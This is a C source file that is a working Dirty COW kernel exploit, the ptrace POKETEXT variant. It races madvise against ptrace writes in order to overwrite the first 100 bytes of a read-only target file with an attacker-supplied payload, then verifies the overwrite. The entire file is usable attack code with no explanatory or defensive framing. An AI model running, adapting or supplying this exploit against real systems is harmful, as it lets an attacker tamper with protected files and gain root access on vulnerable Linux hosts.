// dcw_pt1.c - pokemon ptrace Dirty COW, races FIRST PAGE only (madvise 100 bytes).
// usage: ./dcw_pt1 <target> <payloadfile>  (pokes first 100 bytes of payload)
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>

int f; void *map; pid_t pid; pthread_t pth; struct stat st; char *payload; long plen;
void *madviseThread(void *arg) { int i,c=0; for(i=0;i<200000000;i++) c+=madvise(map,100,MADV_DONTNEED); return NULL; }
int main(int argc,char *argv[]){
  if(argc<3) return 1;
  FILE *fp=fopen(argv[2],"rb"); if(!fp){perror("fopen");return 1;}
  fseek(fp,0,SEEK_END); plen=ftell(fp); rewind(fp); payload=malloc(plen);
  if(fread(payload,1,plen,fp)!=(size_t)plen) return 1; fclose(fp);
  printf("payload %ld\n",plen);
  f=open(argv[1],O_RDONLY); if(f<0){perror("open");return 1;}
  fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  if(map==MAP_FAILED){perror("mmap");return 1;}
  printf("mmap %lx\n",(unsigned long)map);
  pid=fork();
  if(pid){
    waitpid(pid,NULL,0);
    int u,i,o,c=0; long l=100;
    for(i=0;i<10000/l;i++) for(o=0;o<l;o++) for(u=0;u<10000;u++)
      c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(payload+o)));
    ptrace(PTRACE_CONT,pid,0,0); waitpid(pid,NULL,0);
    int fd=open(argv[1],O_RDONLY); char *b=malloc(l);
    ssize_t r=read(fd,b,l); close(fd);
    int ok=(r==l && memcmp(b,payload,l)==0); free(b);
    printf("verify %d\n",ok);
    return ok?0:1;
  } else {
    pthread_create(&pth,NULL,madviseThread,NULL);
    ptrace(PTRACE_TRACEME); kill(getpid(),SIGSTOP); pthread_join(pth,NULL); return 0;
  }
}
